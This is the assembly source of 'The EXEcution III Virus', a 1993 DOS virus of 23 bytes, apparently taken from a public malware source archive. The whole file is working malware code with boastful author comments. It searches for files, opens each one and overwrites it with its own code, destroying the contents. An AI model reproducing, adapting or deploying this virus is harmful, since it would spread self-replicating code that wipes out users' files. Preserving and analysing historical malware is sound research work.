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https://github.com/vxunderground/MalwareSourceCode.git
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38 lines
1.4 KiB
NASM
38 lines
1.4 KiB
NASM
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; The EXEcution III Virus.
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;
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; Well, you're now the prouw owner of the smallest virus ever made!
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; only 23 bytes long and ofcourse again very lame..
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; But what the heck, it's just an educational piece of code!!
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;
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; (C) 1993 by [D<>RkR<6B>Y] of TridenT (Ooooooranje Boooooooven!)
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;
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; Tnx to myself, my assembler, DOS (yuck) and to John Tardy for his
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; nice try to make the smallest (27 bytes and 25 bytes) virus... gotcha!! ;-))
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;
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; BTW Don't forget, I only tested it unter DOS 5.0 so on other versions
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; it might not work!
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_CODE SEGMENT
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ASSUME CS:_CODE
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ORG 100h
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START: ; That's where we're starting...
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FILE DB '*.*',0h ; Dummy instruction, SUB's 0FFh from CH
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MOV AH,4Eh ; Let's search!
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DO_IT: MOV DX,SI ; Make DX = 100h (offset file)
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INT 21h ; Search now dude!
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MOV AX,3D01h ; Hmm, infect that fucking file!
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MOV DX,9Eh ; Name is at DS:[9Eh]
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INT 21h ; Go do it!
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XCHG BX,AX ; Put the handle in BX
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MOV AH,40h ; Write myself!
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JMP DO_IT ; Use other routine
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_CODE ENDS
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END START
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; If you don't like my english: Get lost, you can understand it!
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